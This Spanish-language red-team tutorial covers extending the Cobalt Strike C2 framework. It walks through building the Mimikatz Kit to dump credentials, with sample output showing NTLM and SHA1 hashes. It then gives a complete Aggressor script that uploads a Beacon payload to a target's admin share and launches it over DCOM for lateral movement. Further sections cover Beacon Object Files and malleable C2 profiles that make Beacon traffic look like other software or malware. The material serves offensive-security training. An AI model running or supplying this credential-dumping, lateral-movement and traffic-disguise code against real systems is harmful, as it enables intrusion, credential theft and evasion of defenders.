Saltar a contenido

Extending Cobalt Strike

Extending Cobalt Strike

Los "mejores" C2 Frameworks (en mi opinión) son aquellos que tienen la capacidad de personalizar y diversificar sus comportamientos. Ya hemos visto cómo los Artifact y Resource Kits pueden ser utilizados para modificar Beacon y evadir soluciones antivirus. Los archivos ".cna" que cargamos en el Script Manager de Cobalt Strike se llaman Aggressor Scripts. Estos pueden sobrescribir comportamientos predeterminados en Cobalt Strike para personalizar la interfaz de usuario (añadir nuevos menús, comandos, etc.), extender los modelos de datos, extender comandos existentes como jump y agregar comandos completamente nuevos y personalizados. Beacon también tiene una API interna que podemos llamar desde Aggressor, por lo que cualquier primitiva base que Beacon tenga (powershell, execute-assembly, etc.) se puede invocar desde Aggressor.

La referencia del script Aggressor es pública y está disponible en helpsystems.com. El lenguaje de programación subyacente utilizado se llama Sleep.

Al trabajar con Aggressor, encontrarás funciones tanto de la referencia de scripts de Aggressor como de Sleep.


Mimikatz Kit

Puedes notar instancias donde intentaste ejecutar comandos como sekurlsa::logonpasswords y sekurlsa::ekeys, solo para recibir el siguiente error:

beacon> logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

Esto suele ocurrir porque la versión de Mimikatz integrada en Cobalt Strike por defecto es demasiado antigua para funcionar en versiones más recientes de Windows como 11 y Server 2022. El Mimikatz Kit te permite traer compilaciones alternativas de Mimikatz a CS para superar esta limitación.

De manera confusa, CS en realidad viene con múltiples versiones de Mimikatz en compilaciones tanto x86 como x64.

PS C:\Tools\cobaltstrike\arsenal-kit\kits\mimikatz> ls

    Directory: C:\Tools\cobaltstrike\arsenal-kit\kits\mimikatz

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        05/12/2022     16:57           1046 build.sh
-a----        05/12/2022     16:57         773120 mimikatz-chrome.x64.dll
-a----        05/12/2022     16:57         638464 mimikatz-chrome.x86.dll
-a----        05/12/2022     16:57         813568 mimikatz-full.x64.dll
-a----        05/12/2022     16:57         704000 mimikatz-full.x86.dll
-a----        05/12/2022     16:57        1421824 mimikatz-max.x64.dll
-a----        05/12/2022     16:57        1192960 mimikatz-max.x86.dll
-a----        05/12/2022     16:57         312832 mimikatz-min.x64.dll
-a----        05/12/2022     16:57         276480 mimikatz-min.x86.dll
-a----        05/12/2022     16:57           2661 README.md
-a----        05/12/2022     16:57           1007 script_template.cna

Los DLLs están construidos a medida para incluir un cargador reflectivo y código modificado para lograr un tamaño de archivo más pequeño, lo cual es necesario para funcionar con el límite de tamaño de 1 MB heredado de Beacon.

Las versiones "max" incluyen la base de código completa de Mimikatz, que se puede utilizar con CS 4.6 y versiones superiores, ya que se puede eliminar el límite de 1 MB. Las versiones "full" tienen parte del código eliminado para reducir el tamaño del archivo (aunque no parece existir documentación oficial que explique exactamente qué se eliminó); y las versiones "chrome" contienen código relevante para el comando chromedump de Beacon. Nuevamente, no parece existir documentación que indique qué partes de la base de código de Mimikatz se incluyen, pero sospecho que al menos incluye dpapi::chrome.

La buena noticia es que el equipo de desarrollo de CS está haciendo un esfuerzo para mantener la versión de Mimikatz dentro del Mimikatz Kit actualizada con el repositorio de Benjamin. Esto significa que simplemente podemos construir el kit tal como está y cargarlo en CS. Esto es tan simple como ejecutar build.sh y especificar un directorio de salida.

ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/mimikatz> pwd
/mnt/c/Tools/cobaltstrike/arsenal-kit/kits/mimikatz

ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/mimikatz> ./build.sh /mnt/c/Tools/cobaltstrike/mimikatz
[Mimikatz kit] [+] Copying the mimikatz dlls
[Mimikatz kit] [+] Generate the mimikatz.cna from the template file.
[Mimikatz kit] [+] The Mimikatz files are saved in '/mnt/c/Tools/cobaltstrike/mimikatz'

Carga mimikatz.cna a través del menú Cobalt Strike > Script Manager y haz clic en el botón Load. Después de cargar el CNA, Mimikatz funcionará como se espera.

beacon> logonpasswords

Authentication Id : 0 ; 64753 (00000000:0000fcf1)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 1/15/2023 3:03:57 PM
SID               : S-1-5-90-0-1
    msv :   
     [00000003] Primary
     * Username : WEB$
     * Domain   : DEV
     * NTLM     : 4b5aff0a96dfb6c6240340a6800e6f11
     * SHA1     : bd13b64953a55abddf7b9c1bdcc043a9d88fd955

Jump & Remote-Exec

Aggressor se puede usar para registrar nuevas técnicas bajo jump y remote-exec utilizando beacon_remote_exploit_register y beacon_remote_exec_method_register respectivamente.

En este ejemplo, integraremos Invoke-DCOM.ps1 en jump. Primero, crea un nuevo archivo de texto en Visual Studio y guárdalo en algún lugar como dcom.cna. Luego agrega el siguiente esquema.

sub invoke_dcom
{
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom);

Esto registrará "dcom" como una nueva opción dentro del comando jump y especifica invoke_dcom como la función de callback asociada. Lo primero que debes agregar dentro de este callback son algunas declaraciones de variables locales.

sub invoke_dcom
{
    local('$handle $script $oneliner $payload');
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom);

local define variables que son locales para la función actual, por lo que desaparecerán una vez ejecutadas. Sleep puede tener alcances global, closure-specific y local. Se puede encontrar más información en 5.2 Scalar Scope del manual de Sleep.

El siguiente paso es reconocer la recepción de la tarea utilizando btask. Esto toma el ID de la Beacon, el texto a publicar y un ATT&CK tactic ID. Esto imprimirá un mensaje en la consola de Beacon y lo agregará al modelo de datos utilizado en los informes de actividad y sesión que puedes generar desde Cobalt Strike.

sub invoke_dcom
{
    local('$handle $script $oneliner $payload');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");
}

Notarás las variables $1, $2 y $3 que son automáticamente pasadas por el cliente. Donde:

  • $1 es el ID de la Beacon.
  • $2 es el objetivo al que saltar.
  • $3 es el listener seleccionado.

Además, listener_describe expande un nombre de listener en una descripción más detallada. Por ejemplo, en lugar de "smb" dirá "windows/beacon_bind_pipe (\.\pipe\)".

A continuación, queremos leer el script Invoke-DCOM desde nuestra máquina. Esto se puede hacer con openf, getFileProper y script_resource. Observa cómo estamos asignando valores a las variables que declaramos al inicio.

# read the script
$handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
$script = readb($handle, -1);
closef($handle);

La variable $script ahora contiene el contenido sin procesar de Invoke-DCOM.ps1. Para que Beacon lo utilice, podemos usar beacon_host_script, lo que alojará el script dentro de Beacon y devolverá un fragmento corto para ejecutarlo.

# host the script in Beacon
$oneliner = beacon_host_script($1, $script);

Info

Si deseas ver el contenido de estas variables, puedes usar println($oneliner); y aparecerán en la Script Console (Cobalt Strike > Script Console).

El siguiente paso es generar y cargar un payload al objetivo utilizando artifact_payload y bupload_raw. Esto generará un payload EXE y lo cargará en el directorio C:\Windows\Temp.

# generate stageless payload
$payload = artifact_payload($3, "exe", "x64");

# upload to the target
bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);

Info

$+ concatena una cadena interpolada y requiere espacios adicionales a cada lado.

Luego, bpowerpick puede ejecutar el oneliner de Invoke-DCOM. Le pasamos el nombre del equipo objetivo y la ruta al payload cargado. Además, debido a que este podría ser un payload P2P, queremos intentar vincularnos automáticamente a él, lo que se puede hacer con beacon_link.

# run via powerpick
bpowerpick!($1, "Invoke-DCOM -ComputerName $+ $2 $+ -Method MMC20.Application -Command C:\\Windows\\Temp\\beacon.exe", $oneliner);

# link if p2p beacon
beacon_link($1, $2, $3);

El script final:

sub invoke_dcom
{
    local('$handle $script $oneliner $payload');

    # acknowledge this command1
    btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");

    # read in the script
    $handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
    $script = readb($handle, -1);
    closef($handle);

    # host the script in Beacon
    $oneliner = beacon_host_script($1, $script);

    # generate stageless payload
    $payload = artifact_payload($3, "exe", "x64");

    # upload to the target
    bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);

    # run via powerpick
    bpowerpick!($1, "Invoke-DCOM -ComputerName  $+  $2  $+  -Method MMC20.Application -Command C:\\Windows\\Temp\\beacon.exe", $oneliner);

    # link if p2p beacon
    beacon_link($1, $2, $3);
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom);

Asegúrate de cargar el script a través del Script Manager (Cobalt Strike > Script Manager).

La flexibilidad de Aggressor significa que podemos aprovechar cualquier cosa, desde PowerShell, execute-assembly, inyección de shellcode, inyección de DLL y más.


Beacon Object Files

Beacon Object Files (BOFs) son una capacidad post-ex que permite la ejecución de código dentro del proceso host de Beacon. La principal ventaja es evitar el patrón fork & run que comandos como powershell, powerpick y execute-assembly utilizan. Dado que estos generan un proceso sacrificial y emplean inyección de procesos para ejecutar la acción post-ex, son fuertemente inspeccionados por productos AV y EDR. El inconveniente es que, como los BOFs se ejecutan dentro del proceso de Beacon, un BOF inestable podría hacer que tu Beacon se bloquee. Úsalos con cuidado o en un Beacon que no temas perder.

Los BOFs son esencialmente pequeños objetos COFF para los cuales Beacon actúa como enlazador y cargador. Beacon no vincula BOFs con una biblioteca estándar de C, por lo que muchas funciones a las que podrías estar acostumbrado no están disponibles. Sin embargo, expone varias APIs internas que pueden utilizarse para simplificar algunas acciones, como el análisis de argumentos y el envío de salida.

La forma más sencilla de empezar a escribir un BOF es con la plantilla oficial de proyecto de Visual Studio.

El archivo bof.cpp contiene algo de código de base que demuestra varias características de la plantilla de proyecto, sobre todo:

  • Las macros DFR y DFR_LOCAL para Dynamic Function Resolution.
  • La función main para compilaciones de debug y la capacidad de proporcionar argumentos mock empaquetados.
  • La nueva funcionalidad de unit testing.

Hello World

En este primer ejemplo, enviaremos un simple mensaje de salida y un mensaje de error de vuelta a la consola de Cobalt Strike.

BeaconPrintf es una API interna de Beacon definida en beacon.h y es la forma más sencilla de enviar salida de vuelta al operador. El argumento type determina cómo CS procesará la salida y cómo la presentará. Estos son:

  • CALLBACK_OUTPUT es salida genérica. CS la convertirá a UTF-16 usando el conjunto de caracteres predeterminado del destino.
  • CALLBACK_OUTPUT_OEM es salida genérica. CS la convertirá a UTF-16 usando el conjunto de caracteres OEM del destino. Probablemente no la necesites a menos que trates con salida de cmd.exe.
  • CALLBACK_ERROR es un mensaje de error genérico.
  • CALLBACK_OUTPUT_UTF8 es salida genérica. CS la convierte desde UTF-8 a UTF-16.

Para probar el BOF en Visual Studio, asegúrate de que la opción de compilación Debug esté seleccionada y ejecútalo con el depurador local.

En modo debug, algunas de las APIs de Beacon tienen implementaciones mock (dado que obviamente no estamos ejecutando este BOF dentro de un Beacon real todavía) que intentan replicar su funcionalidad. Por ejemplo, BeaconPrintf imprimirá mensajes de estilo debug en la consola.

Otras APIs de Beacon simplemente mostrarán un mensaje de error si se invocan, pero vale la pena señalar que puedes modificar los archivos mock.h y mock.cpp para implementar tus propias versiones mock de estas funciones no implementadas si crees que tiene sentido para tu caso de uso. Para probar el BOF en un Beacon real, cambia la compilación a Release y compila el proyecto (en mi caso, esto producirá C:\Tools\bofs\x64\Release\demo.x64.o) y ejecútalo usando el comando inline-execute.

Los BOFs pueden integrarse con Aggressor registrando aliases y comandos personalizados. Por ejemplo:

alias hello-world {
    local('$path $handle $bof $args');

    # read the bof file (assuming x64 only)
    $handle = openf(getFileProper("C:\\Tools\\bofs\\x64\\Release", "demo.x64.o"));
    $bof = readb($handle, -1);
    closef($handle);

    # print task to console
    btask($1, "Running Hello World BOF");

    # execute bof
    beacon_inline_execute($1, $bof, "go");
}

# register a custom command
beacon_command_register("hello-world", "Execute Hello World BOF", "Loads demo.x64.o and calls the \"go\" entry point.");

El tercer argumento de beacon_inline_execute es el entry point del BOF, es decir, void go. Si utilizas algo distinto de "go", especifícalo aquí.

Handling Arguments

Naturalmente, habrá ocasiones en que querremos pasar argumentos a un BOF. Una aplicación de consola típica puede tener un entry point con la forma main(int argc, char* argv[]), pero un BOF utiliza go(char* args, int len). Estos argumentos se "empaquetan" en un formato binario especial usando la función bof_pack de Aggressor y pueden "desempaquetarse" usando las APIs de Beacon. No intentes desempaquetarlos por tu cuenta si valoras tu cordura.

Vamos a trabajar en un ejemplo donde queremos proporcionar un string a nuestro BOF. Primero, llama a BeaconDataParse para inicializar el parser, luego BeaconDataExtract para extraer los datos empaquetados.

Para proporcionar argumentos mock dentro de Visual Studio de modo que estén disponibles en el depurador, necesitamos modificar la línea bof::runMocked(go) dentro de main a bof::runMocked(go, "Hello World").

Si proporcionamos múltiples argumentos, deben desempaquetarse en el mismo orden en que se empaquetaron. Por ejemplo, si enviamos dos strings, haríamos:

En este ejemplo, bof::runMocked(go, "rasta", "Hello World") produciría la salida: rasta, you said: Hello World. Para empaquetar y enviar argumentos desde un Aggressor script, necesitamos llamar a bof_pack, especificando tanto los tipos de datos como los valores. Empecemos codificando algunos argumentos de manera fija para mayor simplicidad.

# pack arguments
$args = bof_pack($1, "zz", "rasta", "hello");

# execute bof
beacon_inline_execute($1, $bof, "go", $args);

Aquí estamos empaquetando "rasta" y "hello", donde "zz" le dice a Cobalt Strike que se trata de dos zero-terminated strings. La documentación de CS proporciona la siguiente tabla de formatos de datos válidos y cómo desempaquetarlos:

Format Description Unpack Function
b binary data BeaconDataExtract
i 4-byte integer (int) BeaconDataInt
s 2-byte integer (short) BeaconDataShort
z zero-terminated+encoded string BeaconDataExtract
Z zero-terminated wide string (wchar_t *)BeaconDataExtract

Ejecutar lo anterior devuelve la salida esperada.

Objetivamente es más útil pasar argumentos desde la línea de comandos de CS, en lugar de codificarlos en el Aggressor script. Por suerte, cualquier cosa que se escriba en la línea de comandos se pasa a la función de Aggressor por nosotros. La variable $1 siempre representa la sesión actual de Beacon, y $2, $3, $n representarán todo lo extra que escribamos. Por ejemplo, si escribimos "hello-world rasta hello", $2 contendrá el string "rasta" y $3 contendrá "hello". Estos argumentos siempre se separan por espacios en blanco.

Por lo tanto, podemos refactorizar nuestra llamada a bof_pack para que sea:

$args = bof_pack($1, "zz", $2, $3);

Calling Windows APIs

APIs como LoadLibrary y GetProcAddress están disponibles desde un BOF, y pueden usarse para resolver y llamar a otras Windows APIs en tiempo de ejecución. Sin embargo, los BOFs también proporcionan una convención llamada Dynamic Function Resolution (DFR), que permite que Beacon realice la resolución necesaria por ti.

La definición para DFR se ilustra mejor con un ejemplo. Esto es lo que parecería al llamar MessageBoxA desde user32.dll.

DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

La mayor parte de esta información proviene de la documentación oficial, mientras que DECLSPEC_IMPORT y WINAPI proporcionan pistas importantes para el compilador. La plantilla de Visual Studio ofrece dos macros para simplificar el uso de DFR, de modo que no tengamos que escribir estas declaraciones largas para cada API que queramos usar.

La primera es la macro DFR:

DFR(USER32, MessageBoxA);
#define MessageBox USER32$MessageBoxA

La segunda es la macro DFR_LOCAL:

DFR_LOCAL(USER32, MessageBoxA);

DFR_LOCAL es más corta pero debe declararse y usarse dentro de una función. Por lo tanto, si quieres usar la misma API en varias funciones dentro de tu BOF, debes duplicar la declaración en cada una. DFR es un poco más larga, pero pueden declararse una sola vez y reutilizarse en múltiples funciones. Además, permiten asignar un alias a los nombres de API, por ejemplo, para simplificar MessageBoxA a solo MessageBox.

Ninguna es "mejor" que la otra: puedes usar una, la otra o una combinación de ambas.

Uniéndolo todo:

alias hello-world {
    local('$handle $bof $args');

    # read the bof file (assuming x64 only)
    $handle = openf(getFileProper("C:\\Tools\\bofs\\x64\\Release", "demo.x64.o"));
    $bof = readb($handle, -1);
    closef($handle);

    # print task to console
    btask($1, "Running Hello World BOF");

    # pack arguments
    $args = bof_pack($1, "z", $2);

    # execute bof
    beacon_inline_execute($1, $bof, "go", $args);
}

# register a custom command
beacon_command_register("hello-world", "Execute Hello World BOF", "Loads demo.x64.o and calls the \"go\" entry point.");

Existen algunos excelentes BOFs que te animo a revisar. Por nombrar unos pocos:


Malleable Command & Control

Muchos de los indicadores de Beacon son controlables a través de malleable C2 profiles, incluyendo artefactos de red y en memoria. Esta sección se centrará en los artefactos de red. Sabemos que Beacon puede comunicarse a través de HTTP(S), pero ¿cómo se ve ese tráfico en la red? ¿Cuáles son las URLs? ¿Utiliza GET, POST u otros métodos? ¿Qué headers o cookies incluye? ¿Y el body? Todos estos elementos pueden controlarse.

Raphael tiene varios example profiles aquí. Usemos el webbug.profile para explicar estas directivas.

Primero tenemos un bloque http-get: esto define los indicadores para una petición HTTP GET.

set uri especifica la URI que el cliente y el servidor usarán. Usualmente, si el servidor recibe una transacción en una URI que no coincide con su profile, devolverá automáticamente un 404.

Dentro del bloque client, podemos agregar parámetros adicionales que aparecerán después de la URI; se trata de keys y valores simples. parameter "utmac" "UA-2202604-2"; se añadiría a la URI como: /__utm.gif?utmac=UA-2202604-2.

A continuación está el bloque metadata. Cuando Beacon se comunica con el Team Server, debe identificarse de alguna forma. Este metadata puede transformarse y ocultarse dentro de la petición HTTP. Primero, especificamos la transformación: los valores posibles incluyen netbios, base64 y mask (que es un XOR mask). Luego podemos hacer append y/o prepend de datos string. Finalmente, especificamos en qué parte de la transacción estará: puede ser un parameter de la URI, un header o en el body.

En el perfil webbug, el metadata se vería más o menos así: __utma=GMGLGGGKGKGEHDGGGMGKGMHDGEGHGGGI.

Después viene el bloque server, que define cómo se verá la respuesta del team server. Primero se proporcionan los headers. El bloque output dicta cómo se transformarán los datos enviados por el Team Server. A estas alturas, debería estar bastante claro. Se puede añadir o anteponer datos arbitrarios antes de terminar con la sentencia print.

El bloque http-post es exactamente igual, pero para transacciones HTTP POST.

Personalizar así el tráfico HTTP Beacon puede emplearse para simular amenazas específicas. El tráfico de Beacon puede "disfrazarse" para parecerse a otros toolsets y malware.